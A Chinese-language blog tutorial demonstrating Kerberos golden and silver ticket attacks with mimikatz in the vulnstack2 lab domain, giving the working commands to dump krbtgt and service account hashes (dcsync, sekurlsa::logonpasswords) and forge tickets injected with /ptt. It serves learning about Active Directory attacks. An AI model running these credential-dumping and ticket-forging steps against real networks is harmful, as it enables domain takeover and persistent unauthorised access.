本文已参与「新人创作礼」活动,一起开启掘金创作之路
过两天研究明白kerberos协议里每次发包中各个参数的含义之后,会发一个协议的详细解析,也许能帮助大家比较详细的理解这套协议。敬请期待
以下演示环境借用红日团队vulnstack2域环境,感谢
工具
gentilkiwi/mimikatz: A little tool to play with Windows security (github.com)
也可以使用kali中帮你预编译好的,直接输入mimikatz就会告诉你在哪
黄金票据
原理
黄金票据攻击发生在我们知道域中的tgt验证用户kebtgt的密码hash的情况下,可以利用krbtgt用户的密码hash直接伪造一个任意用户的TGT出来,实现伪造域内特权账号执行任意指令的操作
局限
由于krbtgt账号不会被登录,且密码是定期修改的随机字符串,导致我们几乎不可能在拿到域控之前获得krbtgt账号的密码或hash。所以一般用作后期维持权限的操作
操作
0.一下直接建立在mimikatz绕过免杀的条件下进行,并且此处不详细介绍如何获得krbtgt的密码hash的各种可能方法,谨以演示为目的直接以域控管理员身份直接获得hash
1.使用mimikatz获得krbtgt用户密码hash,注意需要至少本地管理员(500)级别的操作权限
lsadump::dcsync /domain:de1ay.com /user:krbtgt
当在单域环境下,可以不指定domain选项
可以看到那条NTLM加密的就是密码hash
2.获取域ID
whoami /all
注意域账号的ID相较于普通账号多了三个值,所以呈现出比普通sid长很多的形象
具体可以看微软对sid的说明安全标识符 (Windows 10) - Windows security | Microsoft Docs
这里我们不需要用户id,所以上图最后的2103是不需要的
3.生成TGT票据
kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ptt
用此语句来生成TGT,此处的domain就不可以省略了,用ptt选项会直接存到内存中,也可以使用 ticket选项生成一个ticket文件,然后再用ptt存到其他机器中
4.之后就可以以管理员身份执行命令了
dir \DC\c$
票据格式
其他操作
清空票据
klist purge便于观察你生成的票据
klist 查看全部票据
白银票据
原理
相对于黄金票据,白银票据的利用限制增加了很多,需要拥有提供服务的账号的密码hash才能成功进行。这一步是在伪造向服务提供的票据,由于不需要和KDC交互,所以攻击的隐秘性更高。
局限
需要提供服务的账号的hash,但由于真正有价值的服务往往是由域控主机运行的,所以这一个攻击在现实中依旧是常常被运用在权限维持上。
操作
0.为了方便,我这里直接拿域控当server机了,所以我的操作也是在域控上实现的,同样为了方便演示流程,获取密码的操作我也直接就在域控上操作了
1.获取提供服务的账号hash,用mimikatz就可以
sekurlsa::logonpasswords 获取密码hash
privilege::debug 如果上面的执行失败,就提权一下
可以看到运行服务机器名字还有密码hash
但是!!! 重点强调运行服务的机器不可以写这个hostname名,要写名字+域名的全名在我这里就是
DC.de1ay.com
2.生成对服务票据
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<用户名> /ptt
注意看,sid只填域部分,不需要精确到用户,sid的说明见上面黄金票据的说明;target需要填机器的全名,见1. ;user随便填
kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:DC.de1ay.com /rc4:161cff084477fe596a5db81874498a24 /service:cifs /user:geight /ptt
顺便一提,sekurlsa::logonpasswords显示出的内容,往往会有同用户不同NTLMhash的情况发生,这种情况下,全保存下来,依次试一下。
下面是获得的票据
有心的朋友可能发现了两张ticket只有在server处有区别,那么有没有可能第一次报文的转发,也是发给了KDC上的AS运行的服务krbtgt呢,我们在之后的对协议的进一步分析在继续说
感谢
@无心,最开始在无心学习的Kerberos认证无心 - 知乎 (zhihu.com)微信公众号仿佛注销了,这里贴出知乎主页
@daiker,之后看待了daiker对数据包的深入分析受益匪浅,让我知其所以然,这里贴出大佬协议分析的笔记[前言 - windows protocol (gitbook.io)